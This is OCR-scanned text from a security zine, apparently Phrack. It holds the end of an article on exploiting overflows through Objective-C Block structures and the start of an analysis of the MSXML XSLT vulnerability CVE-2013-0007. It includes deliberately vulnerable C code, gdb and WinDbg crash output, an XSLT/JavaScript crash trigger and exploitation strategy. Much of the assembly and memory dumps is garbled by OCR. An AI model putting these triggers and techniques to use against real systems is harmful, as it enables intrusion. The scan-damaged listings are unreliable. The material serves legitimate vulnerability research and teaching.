void (*invoke) (void *literal, ...); 


struct block_descriptor_NAME *descriptor; 
/* referenced captured variables follow */ 


7 
a 


}; 


Basically, the use of this structure is to turn our Block into a pseudo 
objective-c object. As you can see the typical ’isa’ pointer at offset 0 
contains a pointer to the base class struct for the object. 


In the listing below, we can see that the block_literal struct is being 
created at offset rbp-0x50+var_16. The ISA pointer is populated with a 
pointer to the class "NSConcreteStackBlock". 


lea rax, qword [ss:rbp-0x50+var_16] 

mov rex, qword [ds:imp___got___NSConcreteStackBlock] 
lea rex, qword [ds:rcx] 

mov qword [ss:rbp-0x50+var_16], rcx 


As described in [5], this class indicates that the Block is to be stored on 
the stack. Other possible alternative base classes are: 
NSConcreteGlobalBlock for global Blocks, NSConcreteMallocBlock for heap 
based Blocks, NSConcreteAutoBlock for Blocks affected by garbage collection 
and NSConcreteFinalizingBlock for blocks which have a 
"finalizer"/destructor which must be run apon garbage collection. Cross 
referencing these class structs can give us a pretty good indication where 
Blocks are used in a binary, and also their location in memory at runtime. 


mov dword [ss:rbp-0x50+var_24], 0x40000000 


The next element populated is the flags. I won’t go into this too much 
because the write-up at [5] covers it perfectly. The flags enum stores some 
meta information about the Block including garbage collection settings and 
whether or not the Block is global. 


Next the reserved field is set to 0. 


mov dword [ss:rbp-0x50+var_28], 0x0 


The main_block_invoke_1l function is the invoke() method for this Block. It 
basically contains the compiled instructions for the block itself. As you 
will see it is called later when the Block is executed. 


lea rcx, qword [ds: main_block_invoke_1] 
mov qword [ss:rbp-0x50+var_32], rcx 


Earlier we discussed the fact that there are two structures for every 
Block. The second of these, the block descriptor is pre-created at compile 
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time and stored in the __data section. 
lea rcx, qword [ds: block_descriptor_tmp_1.1] 
mov qword [ss:rbp-0x50+var_40], rcx 


The struct definition is as follows: 


Gl 
a 


static const struct block_descriptor_NAM 
unsigned long reserved; 
unsigned long literal_size; 


/* helper functions - present only if needed */ 
void (*copy_helper) (void *dst, void *src); 
void (*dispose_helper) (void *src); 


}; 


Basically the only field we care about most of the time is the 
literal_size, which contains the total size of the block_literal. The other 
function pointers are only used in specific cases. 


The rest of the block literal struct contains the arguments to invoke. 
A copy of the "multiplier" variable is copied into this struct. 


mov ecx, dword [ss:rbp-0x50+var_12] 
mov dword [ss:rbp-0x50+var_48], ecx 


Now that the literal struct is populated, the code has to invoke the Block 
passing in the arguments. This is done by retrieving the invoke function 
pointer from the literal struct populated earlier. 


I probably should have used an optimization flag when i compiled this, 
because the next couple of instructions are a little silly. A pointer to 
the block literal struct is moved into var_0, then moved back into rax... 


mov qword [ss:rbp-0x50+var_0O], rax 
mov rax, qword [ss:rbp-0x50+var_0] 


Next the invoke function pointer is moved into rax by dereferencing this 
pointer and adding 16 (0x10). 


mov rax, qword [ds:rax+0x10] 
The pointer to the block literal struct is then moved into rcx. 
mov rex, qword [ss:rbp-0x50+var_0] 


The value being passed to the Block in the printf() call (3) is temporarily 
moved to edx. 


mov edx, 0x3 ; arg to block 


The block_literal struct pointer is moved to rdi, which is the first 
argument in the x86_64 function calling convention (rdi,rsi,rcx,rdx). 


mov tdi, Ex 


The function argument (3) is then moved to esi as the second argument. 
mov esi, edx 

Finally the invoke() method is called. invoke(self,3) basically. 
call rax 


The rest of the assembly listing is just a call to printf to display the 
result, followed by the epilogue. 


mov ecx, eax 
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xor dl, dl 

lea rdi, qword [ds:0x100000f2c] p-"Sda\\n" 
mov esi, ecx 

mov al, dl 

call imp___stubs__ printf 

mov eax, dword [ss:rbp-0x50+var_60] 

add rsp, 0x50 

pop rbp 

ret 


As you can see, this process is fairly straight forward, so now that we 
understand it we can look at how to abuse it. 


—-[{ Exploitation 


In order to demonstrate exploitation scenarios where these Blocks can be 
utilized i will start by modifying th xample code to contain a trivial 
stack overflow. 


int main(int ac, char **av) 
{ 
int multiplier = 7; 
int (*myBlock) (int) = *(int num) { 


return num * multiplier; 


}; 

char buf[20]; 

if(ac != 2) { 
printf ("error: need 2nd arg\n"); 
exit(1); 

} 


strcpy (buf,av[1]); 
printf("%s: Sd\n", buf, myBlock(3)); 
exit(1); 


As you can see, prior to the final printf() a call which copies the first 
argument to the program into a small stack buffer, without bounds checking, 
is added. I also added an exit(1); call to demonstrate that this program 
couldn’t necessarily be exploited without utilizing the Block. This also 
applies to cases where stack cookies (-fstack-protection) are used. 


As we saw in the previous example, the block_literal structure used will be 
stored on the stack. Also the myBlock pointer to this structure is stored 
on the stack in this case. 


So what happens when we overflow the buf array in this case? Let’s run it 
and see. 


—[dcbz@squee:~/code/blocks]$ gcc blockof.c -o of 
—[dcbz@squee:~/code/blocks]$ ./of 

error: need 2nd arg 
-—[dcbz@squee:~/code/blocks]$ ./of hello 
hello: 21 
—[dcbz@squee:~/code/blocks]$ gdb ./of 
(gdb) r ‘perl -e’print "A"x5000’ * 
Starting program: /Users/dcbz/code/blocks/of ‘perl -e’print "A"x5000’ * 


Program received signal EXC_BAD_ACCESS, Could not access memory. 
Reason: 13 at address: 0x0000000000000000 
0x0000000100000e4e in main () 


As you can see, running this program with a overly large argument overflows 
the stack based buffer and we get an EXC_BAD_ACCESS exception. For some 
reason gdb claims that it happened at address 0x0. However if we do some 
investigation: 


9.txt Wed Apr 26 09:43:49 2017 19 


(gdb) x/i Spc 


O0x1l00000e4e <maint+t158>: mov rax,QWORD PTR [rax+0x10] 
(gdb) i r rax 
rax 0x4141414141414141 4702111234474983745 


We can see that the program is crashing dereferencing the block_literal 


struct pointer to retrieve the "invoke" pointer. (based on our previous 
understanding of the assembly listing.) This means we have overwritten the 
pointer to the block_literal struct with a series of ’A’s (0x41). Because 


the pointer to the struct lies in front of the struct itself we are unable 
to modify the invoke pointer directly. Therefore we are left with a very 

similar construct to a Ct+ vptr dereference. We can exploit this in a very 
Similar fashion. 


The construct is essentially "call [ptr+0x10]", therefore we need to 
control memory at a known address in order to place a pointer to our 
shellcode, then we can use the address of this pointer minus 16 when we 
overwrite the block_literal struct pointer. This will result in execution 
flow being redirected to our shellcode. Another solution would be to 
replace the value of the invoke pointer with another block’s invoke method 
or known function. Then utilize an argument mismatch in a favorable way. 
Both of these things have been documented numerous times so i’m not going 
to go into any more detail on this here. Although i will say, in order to 
control memory at a fixed location, a few techniques might be, to use the 
shared_region_map_file technique, or disable aslr/nx with posix_spawn for 
local issues, or use ROP/heapspray for remote issues. 


Now that we’ve looked at the stack overflow case, let’s look at what 
happens when the block_literal struct contents are on the heap. 


To test this basically we can take the test stack overflow we looked at 
earlier, and this time move the destination of the strcpy() call to the 
heap. 


In order to move the Block to the heap we have to utilize a function in the 
runtime architecture. Basically libSystem is linked to the block library: 
/usr/lib/system/libsystem_blocks.dylib. This library contains functions for 
manipulating and displaying Block information. One of the exported 
functions, "Block_copy" is used to create a copy of the block on the heap 
and return a pointer to it. This is typically used by functions that need 
to return a Block, since returning a pointer to a Block on the functions 
stack would be fail when the stack unwinds. The heap Block is then 
free()’ed via the Block_release function. To call these functions we need 
to include the header file "Block.h". 


The Block_copy function checks what type of block is being passed to it. If 
the Block was allocated on the heap or .bss it simply returns the Block 
rather than making a copy. Otherwise a copy is placed on the heap and a 
pointer returned, as you can see in th xample code below: 


include <stdio.h> 
include <stdlib.h> 
include <string.h> 
include <Block.h> 


int main(int ac, char **av) 


char *buf = malloc(20); 
int multiplier = 7; 
int (*stackBlock) (int) = *(int num) { 


return num * multiplier; 


}; 
int (*myBlock) (int) = Block_copy(stackBlock) ; 
if(ac != 2) { 
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printf ("error: need 2nd arg\n"); 
exit(1); 
} 


strcpy (buf,av[1]); 
printf("%s: Sd\n", buf, myBlock(3)); 
exit(1); 

} 


Now that we have some sample code, let’s compile and run it and see where 
overflowing it gets us. 


—[dcbz@squee:~/code/blocks]$ gcc bh.c -o bh 
—[dcbz@squee:~/code/blocks]$ gdb ./bh 


(gdb) r hi 

Starting program: /Users/dcbz/code/blocks/bh hi 

Reading ‘symbols for-shared. Librarveg te alee ose ely eA Slee eee ai done 
hi: 21 


As expected running it with the string hi, prints the usual output, this 
time executing via the heap allocated Block. However if we pass a string of 
500: “ATS. s+ 


Program exited with code 01. 
(gdb) r ‘perl -e’print "A"x500’ * 
Starting program: /Users/dcbz/code/blocks/bh ‘perl -e’print "A"x500’ * 


Program received signal EXC_BAD_ACCESS, Could not access memory. 
Reason: 13 at address: 0x0000000000000000 

0x0000000100000dc4 in main () 

(gdb) x/i Spc 

0x100000dc4 <main+276>: call rax 

(gdb) i r rax 

rax 0x4141414141414141 4702111234474983745 


As you can see we get a crash again, however this time rather than it 
dereferencing the block_literal pointer, we have overwritten the invoke() 
method pointer itself and have directly controlled eip. 


As you can imagine both these cases are useful when trying to gain control 
of an overflow, especially in the case of stack or heap canaries, or an 
unreachable return. 


-—-[ Future Research Non Pointer ISA 


Unfortunately, due to the fact that i’m trying to coordinate this paper 
release with my Infiltrate 2015 talk i am probably not going to have time 
to fully research this area prior to publication. 


Basically in the Objective-C runtime on the arm64 the ISA pointer can 
function as a tagged pointer as well. Due to the nature of the address 
space there are a significant number of unused bits in the pointer which 
contain an interesting amount of meta-data. The write-up at [6] clearly 
explains all this. I will leave the bit pattern below just in case you are 
interested. I am particularly eager to investigate the has_cxx_dtor 
attribute, as well as the sidetable reference counting information. 


(LSB) 
1 bit indexed 

QO is raw isa, 1 is non-pointer isa. 
HE bit has_assoc 


Object has or once had an associated reference. Object with no 
associated references can deallocate faster. 


1 bit has_cxx_dtor 
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Object has a C++ or ARC destructor. Objects with no destructor can 
deallocate faster. 


bits shiftcls 
Class pointer’s non-zero bits. 


bits magic 


Equals 0xd2. Used by the debugger to distinguish real objects from 
uninitialized junk. 


bit weakly_referenced 


Object is or once was pointed to by an ARC weak variable. Objects 
not weakly referenced can deallocate faster. 


bit deallocating 


Object is currently deallocating. 


bit has_sidetable_rce 
Object’s retain count is too large to store inline. 


bits extra_re 


Object’s retain count above 1. (For example, if extra_re is 5 then 
the object’s real retain count is 6.) 


-—-[ Conclusion 


Well you made it to the end reader. Hopefully this was useful in some way! 


Writing 


is very painful... 


Thanks for reading! 


~— nemo 
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=[ Self-patching Microsoft XML with misalignments and factorials ]=-= 


[ by Alisa Esage ] 


[ hey@alisa.sh ] 


"Maybe it says something about human nature, 

that the only form of life we have created so far 
is purely destructive." 

-—- Stephen Hawking on computer viruses 


"I’ve tried to imagine what it would be like 

to be a newcomer [in vulnerability research] in current times 
and it’s a bit depressing..." 

-- Aaron Portnoy for PHRACK 


In this article a vulnerable Microsoft XML module is directed into 
invulnerable behavior by self-serving a two-byte inline memory patch 
through an arbitrary code execution opportunity. 
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1 - Introduction 
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As a ’new school’ binary vulnerability researcher, I’ve found it somewhat 
challenging to learn the subject in the times when it’s become highly 
commercialized, which pushed the detailed technical security advisories 
and technical analyses of regular vulnerabilities out of the public 
access. While this article presents a funny research in the first place, 
it was as well composed with beginner fellows in mind: aiming to 
summarize the various foundational skills, techniques, and thinking 
patterns required to analyze and control a modern and mundane, yet a 
somewhat off-beat binary vulnerability. Besides revisiting the 
foundation, the article introduces a few pieces of novel information, 
such as Microsoft XML Core Services internals and some observations on 
heap spraying and stack manipulations with the latest Internet Explorer. 


The article covers a comprehensive deep technical analysis and control of 
the remote cod xecution vulnerability in Microsoft XML Core Services, 
CVE-2013-0007, for the purpose of self-patching. All the research and 
proof-of-concept prototyping were done with a deliberately synthetic 
platform, based on x86 Windows 7 with IE11 (which didn’t even exist in 
the time of the vulnerability discovery), with all the updates installed 
but the one specific patch, and with the full page heap setting enabled 
for the target process. 


Although the vulnerability is two years old, the research is totally 
relevant to the modern situation. The author is not aware of any public 
or private exploits, as well as technical analyses for the described 
vulnerability, which is actually quite interesting and unique. Regarding 
the vulnerable software, remote cod xecution bugs in Microsoft XML Core 
Services are not rare, if not under-represented in public sources, as one 
was discovered by the low-skilled author herself in late 2014 
(CVE-2014-4118). Vulnerabilities in Microsoft XML may be highly critical 
because they allow not only for a drive-by exploitation of the Internet 
Explorer, but also, for multiple impact vectors beyond the browser. 


The code provided in this article is totally unreliable, guaranteed by the 
highly entropic nature of the vulnerability that causes the minimum 25% 
probability of an uncontrollable crash, as well as by superficial coding 
and testing choices. In addition, the statements concerning undocumented 
W 
c 
e 


indows internals were heavily based on debugging observations on a 
ouple of testing systems, and should be verified with reverse 
ngineering. 


[<2 The vulnerability 


The vulnerability in question is a critical remote cod xecution bug in 
Microsoft XML Core Services, relevant to every edition of the Windows 
operating systems existing at the time of the discovery, according to the 
original security bulletin. It was patched in early 2013 with the 
Microsoft Security Bulletin MS13-002 [1] and the update KB2757638 (on x86 
Windows 7), that was later superseded with KB2939576. 


Although the bug can be reproduced with the four major versions of the 
MSXML module (3, 4, 5, 6) that may co-exist and even execute side by side 
on the target system, only version 6 is invoked by default on modern 
systems. 


Version 3 is still present on default installations of Windows 7 and 8.1 
for backward compatibility, contained within the module msxml3.dll, and 
may be invoked in the same script with version 6 by explicitly creating 
the "MSXML2.DOMDOCUMENT.3.0" ActiveXObject. Version 5 was shipped with 
Microsoft Office up to version 2007, and version 4 may be present on the 
system with 3rd party software as part of the obsolete MSO SDK. 
Additionally, some fuzzing efforts allowed us to deduce that versions 4, 
5 and 6 are largely based on a shared code base, while version 3 has a 
distinctively different code with version-specific bugs. 


As the most actual version 6 is contained in the module msxml6.dll, all 
further references to Microsoft XML internals will refer to the module 
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msxml6.dll of version 6.30.7600.16385. 


--[ 2.1 - The trigger 
The original crash inducing code published [2] without much details by the 


researcher was a piece of XSLT code: 


<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
version="1.0"> 


<xsl:template name="main_template" match="/"> 
<xsl:for-each select="*"> 
<xsl:apply-templates/> 
</xsl:for-each> 
</xsl:template> 


<xsl:template name="xxx_nonexistent" match="//xxx[position()]" /> 


</xsl:stylesheet> 


XSLT is the standard extension to XML which serves to perform analysis and 
transformation of the given XML data according to the given rules, and is 
itself implemented in XML. This brings up the idea that the bug can 
possibly be triggered via any application that uses the XSL 

transformation functionality of the Microsoft XML Core Services. 


--[ 2.2 -— The impact vectors 


After doing some research on the XSL transformation functionality in 
various Windows software, I’ve come up with the following draft table of 
theoretically possible impact vectors and tested some of them: 


* * 
# Target app Technique Testing comments 
1 escript Call to MSXML ActiveX 

method transformNode()| Crash (Windows 7) 


2 Internet Explorer Call to MSXML ActiveX 
method transformNode () Crash 
(Windows 7 + IE9/IE11) 


3 DotNetNuke Unknown From the original 
publication, not tested 


4 SharePoint Unknown From the original 
publication, not tested 


5) Microsoft Word Call to MSXML ActiveX 
via a macro Crash (Office 2010) 
6 Microsoft Word Native XML-XSL 
transformation via an 
XSD scheme May be possible if 
relies upon MSXML*1, 
not tested 
7 Microsoft Word Call to MSXML ActiveX 


method transformNode () 
via an embedded 
JavaScript ina Crash (Office 2007) 
Microsoft ActiveX 
control 
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8 Microsoft Word Call to the directly 
embedded ActiveX Not possible*2 


9 Microsoft Project Native XML-XSL 
transformation May be possible*3, 
not tested 


x Arbitrary app*4 Call to MSXML ActiveX 
method transformNode () Definitely possible, 
not tested 


*1 Applying an XSLT Transform [Word 2003 XML Reference] 
http://msdn.microsoft.com/en-us/library/office/ 
ee364545 (v=office.11).aspx 


*2 OOXML does not implement the functionality to call ActiveX methods, 
although it can instantiate them: 


[MS-OE376]: Office Implementation Information for ECMA-376 Standards 
Support 
http://msdn.microsoft.com/en-us/library/ff£533853 (v=office.12) .aspx 


*3 How to: Use XSLT Transformations with Project XML Data Interchange 
Files 
http://msdn.microsoft.com/en-us/library/office/ 
bb968529 (v=office.12) .aspx 


*4 ...which uses MSXML’s COM/ActiveX module 
The above table of possible impact vectors is far from being exhaustive. 


Most obviously, it should include at least the other Microsoft Office 
applications, in addition to Word and Project. 


--[ 2.3 - Analyzing the crash 


One of the ways to trigger the XSL transformation functionality of 
Microsoft XML Core Services is to call the transformNode() method from 
the COM/ActiveX object MSXML2.DOMDocument.6.0 via e.g. JavaScript: 


xslcontent=’<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/ 
Transform" 

version="1.0"><xsl:template name="main_template" match="/"><xsl:for-each 
select="*"><xsl:apply-templates/></xsl:for-each></xsl:template>< 
xsl:template 
name="xx" match="x[position()]" /></xsl:stylesheet>’; 


srcTree=new ActiveXObject ("Msxml12.DOMDocument.6.0"); 
xsltTree=new ActiveXObject ("Msxml2.DOMDocument.6.0"); 
xsltTree.loadXML(xslcontent) ; 

alert ("crash"); 

srcTree.transformNode (xsltTree) ; 


The above code, when executed either with the help of cscript command line 
utility or from within an Internet Explorer web page, will produce a 
crash due to an invalid memory read attempt, similar to the following: 


(5£8.9d4): Access violation - code c0000005 (first chance) 

First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 

eax=ad9004d6 ebx=0e419ff0 ecx=0e419f42 edx=6f6e4430 

esi=0e419f40 edi=04d6ac70 eip=6f6f9cC85 esp=04db6acbc 
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ebp=04d6ad88 iopl=0 nv up ei pl nz na pe nc 

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010206 
msxml6!XEngine::stns+0x6: 

6f6£9c85 8b5008 mov edx,dword ptr [eaxt8] 
ds:0023:ad9004de=???727272??? 


An observation can be made across multiple tests that the crashing memory 


address var 
somewhat persistent address range in the kernel memory, 


causes the 


Looking at 


ies a little bit from test to test, but always falls into a 


which actually 


access violation. 


the stack dump we can surmise that the crash occurs during the 


processing of a particular XSLT instruction, represented by the function 
XEngine::stns(), by the MSXML’s XEngine’ virtual machine: 

0:007> k 

ChildEBP RetAddr 

O04d6ac68 6f6e60cc msxml16!XEngine::stnst+0x6 

O04d6ad88 6f6e60cc msxml6!XEngine::frame+0x84 

O04d6ae08 6f6f3e2d msxml16!XEngine::frame+0x84 

O4d6éaeb8 6f75ffb0 msxm1l6!XEngine: :execute+t0x1lb4 

O4d6afl4 6f75fee3 msxml6!XUtility: :executexXCode+0x90 

O4d6af6é8 6f75fe2b msxml6!XUtility: :transformNode+0x4a 

O4d6afd4 6f75fda2 msxm16!DOMNode: :transformNode+0xa6 

O4d6afe8 6£7460c9 msxml6!DOMDocumentWrapper: :transformNode+0x17 

04d6b004 6£760b71 msxm16!DOMNode: :_invokeDOMNode+0x30e 
Indeed, further analysis reveals a virtual machine execution loop, in 
which the function XEngine::frame() is responsible for the execution of 
the current fragment of ’XCode’. XCode is essentially a dynamically 
constructed sequence of pointers to member functions of the XEngine class 
along with their arguments, that was compiled from the input XSLT markup: 


0:007> u msxml6!XEngine::frame 130 

msxml6!XEngine::frame: 

6f6e6092 call msxml6!XEngineFrame::initFrame (6f6e72c3) 

; increment the pointer to the chain of XEngine functions: 

6f6e60b8 add dword ptr [esi+0A0h],10h 

; Loop: 

6f6e60bf mov eax,dword ptr [esit+t0A0h];retrieve the next XEngine proc 
6f6e60c5 mov ecx,dword ptr [eaxt4] ; retrieve the argument 
6f6e60c8 add ecx,esi ; increment the pointer to a global structure 
6f6e60ca call dword ptr [eax] ; call the XEngine proc 

6f6e60cc add dword ptr [esi+0A0h],eax 

6f6e60d2 je msxml6!XEngine::framet+0x95 (6f6e60dd) 

6f6e60d4 cmp byte ptr [esi+0B8h],0 

6f6e60db je msxml6!XEngine::framet+Ox77 (6f6e60bf) ; loop 


The XCode which correspo 


dumping of 


to functions to b 


0:007> p 


eax=06ca9 
edi=0513b010 


nv up ei 
cs=001b 


nds to the vulnerable XSLT code may be observed by 
Engine frame, which reveals the list of pointers 
called sequentially, as well as their arguments: 


the current X 


f£4 ebx=O06ca9ffO0 ecx=0513b010 edx=0513b0a0 esi=06ca9f40 


ip=6f6e60bf esp=0513b010 ebp=0513b088 iopl=0 
pl nzna pe ne 
ss=0023 ds=0023 es=0023 fs=003b gs=0000 


ef1=00000206 
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Engine::frame+0x77: 


0:007> dds poi(esit+a0) 


06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 
06c8 


FO5c 
£060 
£064 
£068 
FO6c 
£070 
FO74 
£078 
FO7c 
F080 
F084 
F088 
FO8c 
£090 
£094 
£098 
FO9ICc 
FOa0 
FOa4 
FO0a8s 
FOac 
FObO 
FOb4 
FOb8 
FObc 
FOcO 
FOc4 
FOc8 
FOcc 
FOd0 
FOd4 


FOd8 


structure, 
The structure holds pointers to MSXML’s virtual address tables, stack 
pointers and some other values: 


6f6e6046 msxml6!X 


00000000 
00000030 
c0c0c000 
6f6f9bba 
00000000 
00000000 
6f6f16e8 
00000000 
00000128 
6f6e6046 
00000000 
000000d0 
c0c0c000 
6f6e7868 
00000000 
0000000c 
6f6e7399 
00000000 
00000024 
06c8bde4 
6f6éf16e8 
0000000 
000000c 
Fef9c7F£ 
0000002 
Fefcf32 
0000000 
0000050 
6f6éfa250 
00000000 
0000009c 


Or@® OY, OC) -O:@ 


Each function of the X 
referenced by th 


0:007> dds esi 140 
06ca9Ff40 
06ca9f44 
06ca9Ff48 
O6ca9f4c 
06ca9F50 
O06ca9f54 
06ca9Ff58 
O6ca9f5c 
06ca9f60 
06ca9f64 
06ca9f68 
O6ca9f6c 
06ca9F70 
O6ca9f74 
06ca9Ff78 


In th 


vulnerabl 


6£6c1754 
6f6e75d8 
00000008 
6£6e75c8 
6f£6e75d0 
06ca9Ff40 
06ca9Ff78 
06c8bda8 
00000000 
00000000 
00000000 
00000000 
00000000 
00000000 


msxm1] 


msxm1] 


msxm1J 


msxm1] 


msxm1] 


msxm 


msxm 


msxm 


msxm 


msxm 


msxm1] 


msxm1] 
msxm1] 


eax,dword ptr 


6!X] 


Engine: 


Engine:: 


[esitOA0h] ds:0023:06ca9fe0=6cf0c806 


: frame 


6!X] 


Engine:: 


6!X] 


Engine: 


6!X] 


6!X] 


16!X!] 


16!X!] 


16!X!] 


ngine:: 


ngine: 


ngine: 


: frame 


:ctxt 


isich 


:stns 


:locldns 


16!X!] 


Engine 


ngine: 


:brns 


class works with an undocumented global s 


registers esi or ecx within the class code. 


::CurrentExprEval:: ‘vftable’ 
::GlobalExprEval:: ‘vftable’ 


16!SXPQCompiler:: ‘vftable’ 
6!XEngine:: ‘vftable’ 
6!XEngine 
6!XEngine 


6f6e7620 msxml6!XRuntime:: ‘vftable’ 


in the 


provided in the XCod 


XEngine loop, 


within the X! 


fram 


code, the pointer to the structure is being incremented 
Engine::frame() function, by the value 


10.txt Wed Apr 26 09:43:48 2017 7 


i Oop: 

6f6e60bf mov eax,dword ptr [esit+t0A0h]; retrieve the next XEngine proc 
6f6e60c5 mov ecx,dword ptr [eaxt4] ; retrieve the argument 

6f6e60c8 add ecx,esi ; increment the pointer to the global structure 


The reason of the crash is that, immediately befor ntering the 
Engine::stns() function, the pointer to the global structure is 
ncremented by the invalid value of 2: 


x 


B- 


msxml6!XEngine::framet+0x82: 
6f6e60ca call dword ptr [eax];ds:0023:0d5af0bc={msxml16!XEngine::stns} 


0:007> u eip-10 
msxml6!XEngine::framet+0Ox72: 


6f6e60bf mov eax, dword ptr [esit+0A0h] 


6f6e60c5 mov ecx,dword ptr [eaxt4] 
6f6e60c8 add ecx,esi 
6f6e60ca call dword ptr [eax] 


0:007> dds poi(esit+a0) 
O6c8f0bc 6f6f9c7£ msxml6!XEngine::stns 
O6c8£0cCO 00000002 


Next, when the improperly incremented pointer is dereferenced in 
XEngine::stns(), it leads to the misaligned memory access and invalid 
values being retrieved, causing the crash: 


msxml6!XEngine::stns+0x6: 
6f6£9c85 mov edx,dword ptr [eaxt+8] ds:0023:b010051b=??7?727???? 


; where did eax come from? 

0:007> u eip-6 

msxml6!XEngine::stns: 

; should point to the global structure 
6f6f9c7£ mov eax, dword ptr [ecx+0BO0h] 
6f6£9c85 mov edx,dword ptr [eaxt8] 


0:007> dds ecx 

; looks like total garbage, but it’s actually due to the misalignment... 
O6ca9f42 T75d86f6c shell32!_ dyn_tls_init_callback (shel132+0x5f6f6c) 
O6ca9f46 O00086fE6e 
O6ca9f4a 75c80000 shell32!_ dyn_tls_init_callback (shel132+0x4f0000) 
O6ca9f4e T75d06f6e shell32!_ dyn_tls_init_callback (shel132+0x576f6e) 
O6ca9f52 9Ff406f6e 


; ...and the correctly aligned structure is actually 2 bytes higher: 
0:007> dds ecx-2 
O6ca9f40 6f6c1754 msxml6!SXPOCompiler:: ‘vftable’ 
O6ca9f44 6f6e75d8 msxml6!XEngine:: ‘vftable’ 
O06ca9f48 00000008 
O6ca9f4c 6f6e75c8 msxml6!XEngine::CurrentExprEval:: ‘vftable’ 
O06ca9f50 6f6e75d0 msxml16!XEngine::GlobalExprEval:: ‘vftable’ 
O6ca9f54 Ob6ca9f40 

O6ca9f58 Ob6ca9f78 

O6ca9f5c O06c8bda8s 

O06ca9f60 00000000 


At this point the vulnerability does not look very promising: the crashing 
memory address being read from a valid pointer to internal program data, 
shifted by strictly two bytes. 
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--[ 2.4 - Estimating exploitability 


Let’s observe the vulnerable XCode frame once again: 


0:007> dds poi(esit+a0) 

O6c8f05c 6f6e6046 msxml6!XEngine:: frame 
06c8£060 00000000 

06c8£064 00000030 

06c8£068 c0c0c000 

O6c8f06c 6f6f9bba msxml6!XEngine::ldc_i 
06c8£070 00000000 
06c8f£074 00000000 
O6c8f078 6f6f16e8 msxml6!XEngine::br 
O6c8£07c 00000000 
06c8£080 00000128 
O6c8f£084 6f6e6046 msxml6!XEngine:: frame 
06c8£088 00000000 

O06c8£08c 000000d0 

06c8£090 c0c0c000 

O6c8f£094 6f6e7868 msxml6!XEngine::ctxt 

06c8f£098 00000000 
O06c8£09c 0000000c 
O6c8f0a0 6f6e7399 msxml6!XEngine::ch 
O06c8£0a4 00000000 

O6c8f£0a8 00000024 

O6c8£E0ac O06c8bde4 


O6c8f0b0 6f6f16e8 msxml6!XEngine::br 
O06c8£0b4 00000000 

O6c8£0b8 0000000c 

O6c8f0bc 6f6f9c7f msxml6!XEngine::stns 
O06c8£0cCO 00000002 

O6c8f0c4 6f6fcf32 msxml6!XEngine::locldns 
O06c8£0c8 00000000 

O06c8£0cc 00000050 

O6c8f0d0 6f6fa250 msxml6!XEngine::brns 


O06c8£F0d4 00000000 


We can see that, at some point after the execution of the XEngine::stns() 
function, the XEngine::brns() function will be called, that contains a 
dynamic call: 


msxml6!XEngine::brns: 


712da250 mov edi,edi 

712da252 push esi 

712da253 mov esi,ecx 

712da255 mov ecx,dword ptr [esit0A4h] 

712da25b mov eax,dword ptr [ecx] ; {msxml6!ChildNodeSet:: ‘vftable’ } 
71i2da25d call dword ptr [eax] ; dynamic call 


The dynamic call address in XEngine::brns() derives from the same place in 
memory where XEngine::stns() wrote something: 


msxml6!XEngine::stns: 


6f6f9c7£ mov eax, dword ptr [ecx+0B0h] 

6f6£9c85 mov edx,dword ptr [eaxt8] 

6f6f9c88 push esi 

6f6f9c89 lea esi, [edx+0Ch] 

6f6f9c8cC mov dword ptr [eax+8],esi 

6f6f9c8F mov eax, dword ptr [edxt4] 

6f6£9c92 push 8 

6£6£9c94 mov dword ptr [ecx+0A4h],eax ; wrote something 
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6f6f9c9a pop eax 
6f6£9c9b pop esi 
6f6f9c9c ret 


More precisely, the written value derives from the crashing memory 
address: 


msxml6!XEngine::stns: 

6f6f9c7£ mov eax, dword ptr [ecx+0B0h] 
6f£6£9c85 mov edx,dword ptr [eaxt+8] ; read (crashes here) 
6f6f9c88 push esi 

6f6f9c89 lea esi, [edx+0Ch] 

6f6f9c8cC mov dword ptr [eax+8],esi 

6f6f9c8F mov eax, dword ptr [edx+4] ; read 
6f6f9c92 push 8 

6£6£9c94 mov dword ptr [ecx+0A4h],eax ; write 
6f6f9c9a pop eax 

6f6f9c9Ib pop esi 

6f6f9c9Ic ret 


Which means that, in the case that the crashing memory was readable, an 
address value would be read from that memory, to be call’ed later within 
XEngine::brns(). What happens here is probably some manipulations with the 
virtual address tables of the XEngine class. 


However in the vulnerable context, because the global pointer is only 
corrupted in stns() while being intact in brns(), only two upper bytes of 
the final memory destination will be overwritten: 


; vead(+B0+2)=0c6f0027d, write (+A4+2)=0c79c027d, call (+A4)=027dc7b4: 
0:005> dpp ecx-2 L30 


04388840 045ea780 711d31e8 msxml6!Vector:: ‘vftable’ 
04388844 0438bab8 71101754 msxm1l6!SXPQCompiler:: ‘vftable’ 
04388848 04389484 71209c7f msxml6!XEngine::stns 
+0A4h 0438884c O027dc7b4 711f4468 msxml6!RTFNodeSet:: ‘vftable’ 
04388850 O027dc79c 711£44b8 msxml16!RTFNodeSet:: ‘vftable’ 
04388854 045e02b0 7liddcf8 msxml16!Name:: ‘vftable’ 
+OBOh 04388858 027dc5d0 027dc6f0 
0438885c O027dc6f0 027dc770 
04388860 00000000 


In other words, it might be possible to control at most the higher word 
of the pointer used to retrieve the dynamic call address. 


Next, because of the 2-bytes misaligned memory read in XEngine::stns(), 
the crashing address is essentially a composition of two valid stack 
pointers: 


msxml6!XEngine::stns+0x6: 
6£6£9c85 8b5008 mov edx,dword ptr [eaxt+8] ds:0023:b040053a=?7272???? 


; composed from the two valid stack pointers: 
0:007> dds ecx+b0-2 
Od5c9ff0 0532af20 
Od5c9ff4 05326040 


; both of them on the stack: 

0:007> k 

ChildEBP RetAddr 

0532af18 6f6e60cc msxml6!XEngine::stns+0x6 
0532b038 6f6e60cc msxml6!XEngine: :frame+0x84 


10.txt 


1’ 


0532b0b8 6f6f3e2d msxml6!XEngine: :frame+0x84 


...the 
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0532b168 6f75ffb0 msxml6!XEngine: :executet+0x1b4 


That is, 


the upper word of t 
lower word of the stack address, 
variables frame of X! 
vulnerability context, 


the stack layout. 


Next, 
crashes could be observed by modifying the vulnerable XSLT 


t 


Xx 


